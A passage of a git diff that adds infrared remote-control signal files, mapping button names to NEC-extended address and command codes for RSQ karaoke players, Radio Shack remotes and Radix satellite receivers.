VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir new file mode 100644 index 000000000..1412d4a98 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: REPLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: B3 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: B3 00 00 00 +command: B5 00 00 00 +# +name: VIDEO_INTRO +type: parsed +protocol: NECext +address: B3 00 00 00 +command: B6 00 00 00 +# +name: HIGHLIGHT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: B9 00 00 00 +# +name: B._MARK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: BA 00 00 00 +# +name: B._SEARCH +type: parsed +protocol: NECext +address: B3 00 00 00 +command: BB 00 00 00 +# +name: BOOK_DIGEST +type: parsed +protocol: NECext +address: B3 00 00 00 +command: BC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir new file mode 100644 index 000000000..d10d92ec2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 03 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 06 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 07 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 08 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 09 00 00 00 +# +name: RANDOM_REPEAT +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 0A 00 00 00 +# +name: PLAY/SELECT +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 19 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 1A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 1E 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 1F 00 00 00 +# +name: MPX_V._REPLACE +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 29 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 2C 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 31 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 32 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: BF 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir new file mode 100644 index 000000000..05772afbd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VIDEO_SPAC. +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir new file mode 100644 index 000000000..f4c7088a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir b/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir new file mode 100644 index 000000000..5e4df2539 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_A +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 20 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 03 01 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir new file mode 100644 index 000000000..c886552d1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir new file mode 100644 index 000000000..1e223a9b6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 03 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0B 00 00 00 +# +name: RIGHT/LOUD+ +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0E 00 00 00 +# +name: LEFT/LOUD- +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 14 00 00 00 +# +name: UP/CH+ +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1A 00 00 00 +# +name: DOWN/CH- +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1B 00 00 00 +# +name: CH/LIST +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1C 00 00 00 +# +name: --- +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir new file mode 100644 index 000000000..eee00281e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 03 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 07 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 11 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 12 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 14 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 15 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 16 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1B 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 44 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir new file mode 100644 index 000000000..ec9070e4e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 03 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 07 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0E 00 00 00 +# +name: Audio-red +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0F 00 00 00 +# +name: i-blue +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 11 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 14 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 15 00 00 00 +# +name: Last-yellow +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 16 00 00 00 +# +name: ArrowsUp +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 17 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1B 00 00 00 +# +name: ArrowsDown +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1C 00 00 00 +# +name: Sound +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1F 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 40 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 41 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 42 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 43 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 44 00 00 00 +# +name: TTX. +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 45 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 46 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 48 00 00 00 +# +name: Timer-green +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir new file mode 100644 index 000000000..0465fb74f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 03 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 07 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 0E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 11 00 00 00 +# +name: LT +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 13 00 00 00 +# +name: EAST +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 15 00 00 00 +# +name: WEST +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 16 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 17 00 00 00 +# +name: CROSS +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 18 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 8A F5 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir new file mode 100644 index 000000000..e519063f8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 03 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 07 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0F 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 11 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 12 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 14 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 15 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 16 00 00 00 +# +name: schnell-hoch +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1B 00 00 00 +# +name: schnell-runter +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1C 00 00 00 +# +name: musik +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1E 00 00 00 +# +name: lt +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 44 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: 